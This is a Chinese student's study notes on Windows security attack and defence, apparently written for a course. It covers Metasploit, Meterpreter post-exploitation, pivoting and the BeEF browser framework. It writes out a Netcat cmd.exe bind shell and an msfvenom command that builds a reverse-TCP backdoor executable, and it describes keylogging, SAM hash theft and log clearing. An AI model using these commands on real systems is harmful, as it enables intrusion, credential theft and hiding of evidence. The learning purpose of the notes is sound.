目录
- 1.1 Windows操作系统的基本结构
- 1.2 Windows操作系统的安全体系结构与机制
- 1.2.1 Windows安全体系结构
- 1.2.2 Windows身份认证机制
- 1.2.3 Windows授权与访问控制机制
- 1.2.4 Windows安全审计机制
- 1.2.5 Windows的其他安全机制
- 1.3 Windows远程安全攻防技术
- 1.3.1 Windows系统的安全漏洞生命周期
- 1.3.2 Windows远程口令猜测与破解攻击
- 1.3.3 Windows网络服务远程渗透攻击
- 1.4 Windows本地安全攻防技术
- 1.4.1 Windows本地特权提升
- 1.4.2 Windows敏感信息窃取
- 1.4.3 Windows消踪灭迹
- 1.4.4 Windows远程控制与后门控制
1、Windows操作系统安全攻防
1.1 Windows操作系统的基本结构
- Windows操作系统内核的基本模块:Windows执行体、Windows内核体、设备驱动程序、硬件抽象层、Windows窗口与图形界面接口内核实现代码、系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL
- Windows的虚拟内存空间分为系统核心内存区间和用户内存区间
- 在32位的Windows系统中,2GB4GB区间为系统核心内存,0GB2GB区间为用户态内存
- Windows的文件管理系统早期是FAT,由于安全性弱,被NTFS所取代
- 注册表中的系统自启动挂接点(ASEP)上注册的应用软件可以随系统引导而自动运行,因此也是很多恶意代码及流氓软件普遍的攻击目标
- Windows网络组件模块:
- 各种网卡硬件的设备驱动程序
- NDIS库及miniport驱动程序
- TDI传输层,也称为网络协议驱动
- 网络API DLL及TDI客户端
- 网络应用程序与服务进程
参考资料:
关于进程和线程的概念: http://www.ruanyifeng.com/blog/2013/04/processes_and_threads.html
1.2 Windows操作系统的安全体系结构与机制
1.2.1 Windows安全体系结构
- Windows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型
- Windows操作系统基于引用监控器模型(RM)来实现基本的对象安全模型
- 引用监控器模型(RM)最为核心的是位于内核中的SRM安全引用监控器,以及位于用户态的LSASS安全服务
1.2.2 Windows身份认证机制
- Windows操作系统的安全主体:用户、用户组、计算机
- 对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识
- 本地Administrator和SYSTEM账户拥有最高的权限
- Windows系统的内建用户组包括:本地最高权限用户组administrators、具有单一方面系统权限的Account/Backup/Sever/Print Operators等操作组、用于容纳服务账户的Network Service与Local Service用户组,以及所有用户账户所在的User组等
- Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中
- 即使是Administrator账户,通过正常途径也不能直接读取SAM,只有LocalSystem账户权限才可以读取
- Windows支持本地身份认证和网络身份认证两种方式
- Winlogon进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程
- 网络身份认证使用的协议:LANMAN协议、NTLM协议、NTLMv2协议、Kerberos协议
1.2.3 Windows授权与访问控制机制
- Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施
- 对象安全描述符的主要属性:Owner SID、Group SID、DACL自动访问控制列表、SACL系统审计访问控制列表
1.2.4 Windows安全审计机制
- LSASS服务保存审计策略
- SRM对指定的对象访问和操作事件进行审计记录,发送给LSASS服务
- EventLog服务将事件日志写入日志文件中,也可以作为第三方审计日志分析工具的分析输入数据源
1.2.5 Windows的其他安全机制
- Windows基本安全功能特性:身份认证、授权与访问控制、安全审计
- Windows安全中心集成了对于保护Windows系统安全稳定运行最为关键的三项安全措施:防火墙、补丁自动更新、病毒防护
- 配置Windows系统的安全策略,需要用户在安全需求及易用性中找到平衡
1.3 Windows远程安全攻防技术
- Windows远程攻击技术分类:远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户
1.3.1 Windows系统的安全漏洞生命周期
- 系统安全的本质核心在于安全漏洞、渗透攻击及安全监测防御机制之间的攻防博弈与竞赛
- 典型的渗透攻击过程包括:漏洞扫描、查找针对发现漏洞的渗透代码、实施渗透测试
- metasploit的基础核心是以Ruby语言编写的metasploit framework(MSF)库
- metasploit包含的模块:
- 利用安全漏洞的Exploits模块
- 进行扫描、查点等其他辅助任务的Auxiliary模块
- 在目标系统上植入和运行的Shellcode攻击负载Payloads模块
- 对攻击负载进行编码以躲避检测的Encoders模块
- 对攻击负载进行填充的Nops模块
- Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面
1.3.2 Windows远程口令猜测与破解攻击
- SMB协议通常运行于TCP445与TCP139端口
- 远程口令字攻击的方法:远程口令字猜测、窃听网络上的口令字交换通信实施破解
- Windows进行网络身份认证时使用的协议:LanMan、NTLM、Kerberos:
- LanMan是Windows在NT5.x之前使用的认证协议
- NTLM协议是Windows为了替代LanMan协议而在NT5.x中开始引入的
- Windows在域环境中使用安全的KerBeros协议
- 远程口令猜测与破解最根本的防御措施是通过安全培训与教育来让网络中每个用户都能够设置较高安全强度的口令
- 技术方面的防御措施:
- 尽量关闭不必要开放的易受远程口令猜测攻击网络服务
- 配置主机防火墙来限制对上述端口的服务
- 利用网络防火墙来限制到这些服务的访问
- 禁用过时而且存在本质上安全缺陷的LanMan与NTLM
- 管理员可以制定和实施强口令字策略,此外可以设置账户锁定阈值,最后还可以在系统上激活帐户登录失败事件审计功能
1.3.3 Windows网络服务远程渗透攻击
- Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)与445(TCP)端口
- 默认开放端口著名漏洞及攻击案例:
- 针对NetBIOS网络服务的著名漏洞及攻击
- 针对SMB网络服务的著名漏洞及攻击
- 针对MSRPC网络服务的著名漏洞及攻击
- 针对Windows系统上微软网络服务的远程渗透攻击(IIS Internet服务、MS SQL数据库服务、exchange电子邮件服务、MSDTC服务、DNS域名服务、WINS服务)
- 针对Windows系统上第三方网络服务的远程渗透攻击(Apache、WebSphere、Tomcat、Oracle、MySQL、Serv-U、FileZilla)
- 网络服务远程渗透攻击防范措施:
- 从软件设计开发根源上尽可能减少安全漏洞的出现
- 作为系统的使用者和管理员,应尽可能快地更新与应用软件安全补丁
- 在安全漏洞从被意外公布和利用到补丁发布的这段“零日”漏洞时间,管理员对安全敏感的服务器应该测试和实施科永的攻击缓解配置
- 利用服务软件厂商及社区中提供的安全核对清单来对服务进行安全配置
- 通过漏洞扫描软件来标识网络中存在的已知安全漏洞并及时修补。
1.4 Windows本地安全攻防技术
1.4.1 Windows本地特权提升
- GetAdmin系列曾经是在WindowsNT4.x版本上非常流行的提权攻击工具
- metasploit的MeterPreter模块集成了本地特权提升的功能,可以利用其getsystem命令实现提权
1.4.2 Windows敏感信息窃取
- 本地获取口令字密文的途径:
- 从另一种操作系统启动后拷贝文件系统中的口令密文文件
- 利用硬盘修复工具包中的rdisk工具,执行
rdisk/s-
命令创建SAM备份文件副本 - 使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文
- LSA Secrets收录如下信息:
- 某些服务账户的明文口令字
- 本季系统最近10位用户的口令字密文
- FTP、Web用户的明文口令字
- RAS远程访问服务拨号账户的名字和口令字
- 用来访问域控制器的计算机账户和口令字密文
1.4.3 Windows消踪灭迹
- Windows Resource Kit工具包里的auditpol程序可以让他们轻易地关闭审计功能
- 使用Event Viewer事件查看器来打开、读取和清除这台主机上的事件日志
- 使用metasploit中的MeterPreter模块所支持的IRB shell脚本功能,可以删除整个目标系统事件日志记录
- 消踪灭迹的防范措施:将日志记录到cdrom或者传输到安全的日志服务器中,也可以定期备份
1.4.4 Windows远程控制与后门控制
- 第三方的远程控制和后门程序主要分为:命令行远程控制工具、图形化远程控制工具
- Netcat工具是攻击者们最常用的命令行远程控制工具么可以通过“nc-L-d-e cmd.exe-p 80”命令启动后门服务,监听所配置的TCP 80端口,并绑定cmd.exe这个Shell程序,当攻击者使用Netcat作为客户端连接目标主机的80端口时,就可以通过网络直接访问到目标主机上的cmd.exe来执行任意的操作。
- Meterpreter的设计目标包括如下:隐蔽性、设计功能强大、灵活可扩展
- 防御者可以采用一些后门检测软件来尝试发现攻击者隐藏的后门程序
2、漏洞利用之Metasploit
2.1 启动服务
在Kali中使用metaaploie,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据查询exploit和记录。
service postgresql start
service metasploit start
如果不想每次开机都手工启动服务,可以配置随系统启动。
update-rc.d postgresql enable
update-rc.d metasploit enable
运行下面两条命令后,无法正常启动
service postgresql start
service metasploit start
原因在于kali2.0只装了metasploit-framework,所以无法正常启动
可以在所有程序里搜索metasploit,会找到metasploit-framework,直接启动即可
2.2 路径介绍
Kali中msf的路径为/usr/metasploit-framework
Auxiliary:辅助模块,
encoders:供msfencode编码工具使用,具体可以使用msfencode –l
exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。
2.3 基本命令
msfpayload:用来生成payload或者shellcode
搜索的时候可以用msfpayload -l |grep "windows"这样的命令查询。-o 选项可以列出payload所需的参数。
msfencode:
msf中的编码器,早期为了编码绕过AV,现常用msfpayload与它编码避免exploit中的坏字符串。
msfconsole:开启metasploit的concle
2.4 漏洞利用实践
(1)查看靶机IP地址
(2)扫描靶机开放的端口
(3)查看可利用的漏洞
可以发现,已经找到了可利用的漏洞
(4)准备开始利用漏洞
(5)设置参数
(6)利用漏洞
可以发现,已经成功进入了目标主机
参考资料:
http://www.kali.org.cn/thread-20356-1-1.html
3、漏洞利用之Meterpreter介绍
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
meterpreter作为后渗透模块有多中类型,并且命令由核心命令和扩展库命令组成,极大地丰富了攻击方式,其有很多有用的功能,如,添加一个用户,隐藏一些东西,打开shell,得到用户密码,上传下载远程主机的文件,运行cmd.exe,捕获屏幕,得到远程控制权,捕获按键信息,清除应用程序,显示远程主机的系统信息,显示远程及其的网络接口和IP地址等信息。
常用命令:
background:将当前会话放置后台
load/use:加载模块
Interact:切换一个信道
migrate:迁移进程
run:执行一个已有模块,输入run后按两下teb,会列出所有的已有脚本。
Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp
针对windows操作系统,反向连接shell,只用起来比较稳定。
(1)生成Meterpreter后门
命令:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.75.132 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
这里提示找不到msfpayload命令和msfencode命令
原因是从2015年6月8日之后,msfpayload已经被移除了。msfvenom 结合了payload 和encode的功能
msfvenom和msfpayload的参数使用方法也有所不同,具体见参考资料。
(2)执行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=222.28.136.103 LPORT=2333 R -f exe -i 5 --platform windows > /root/door.exe
可以看到在目录下生成了door.exe文件
(3)将其复制到目标主机
(4)为监听设置参数
(5)开始监听
(6)在目标主机运行door.exe后,建立会话成功
background
返回msf,sessions -i 1
进入会话
(7)查看系统信息
(8)截屏
(9)键盘记录
在目标主机上新建了一个test文件
查看键盘记录的结果
参考资料:
http://www.evil0x.com/posts/9492.html
4、漏洞利用之metasploit后渗透测试
在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助Msf已经得到的Meterpreter后门,可以使后续操作更容易。
1、查看当前网卡、网段信息
先控制一台跳板机,查看相关网卡网段信息
2、添加路由表run autoroute -s 10.0.0.1
3、开Socks代理 通过使用 auxiliaryver/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。
4、通过background
和sessions -i
可以自由切换进入Session
5、输入run可以看到Meterpreter上可以做的很多命令
6、获取内网信息run arp_scanner -r 10.0.0.1/24
7、也可上传文件,做端口转发后续测试
8、应用程序/权限维持/Tunnel工具集
9、端口转发upload lcx.exe c:</code>
5、漏洞利用之beef
对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。
1、命令行下启动Beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 使用默认用户名beef与默认密码beef登录:
初始用户名和密码为:beef和beef 左侧为目标的浏览器
2、假设被测试主机由于XSS漏洞请求到 http://192.168.11.152:3000/demos/basic.html
左侧online browsers出现新的选项,其Current Browser中包括浏览器名称、版本、操作系统版本等。
3、HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务:
其中,四种颜色分别表示:
该攻击模块可用,但隐蔽性强
该攻击模块可用,但隐蔽性差
该用户模块是否可用还有待验证
该攻击模块不可用
4、选取MISC下Raw JavaScript模块作为测试用例
执行,查看返回结果,成功则显示
5、代理Proxy功能
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
6、beef默认是不加载metasploit的,如果要使用需要做些配置。
问题与解决过程
1、metasploit无法正常启动(解决过程见第2部分)
2、msfpayload和msfencode无法执行(解决过程见第3部分)
学习进度条
发表博客数量
kali视频学习
网络攻防教材内容学习
目标
15篇
38个视频
共12章 (网络攻防技术与实践)
第一周
1/15
实验楼linux教程
实验楼linux教程
第二周
2/15
视频1-5
第1、2章
第三周
4/15
视频6-10
第3章
第四周
6/15
视频11-15
第4章
第五周
7/15
视频16-20
第11、12章
第六周
8/15
视频21-25
第5、6章
第七周
9/15
视频26-30
第7章
参考资料:
http://www.ruanyifeng.com/blog/2013/04/processes_and_threads.html
http://www.kali.org.cn/thread-20356-1-1.html
http://www.evil0x.com/posts/9492.html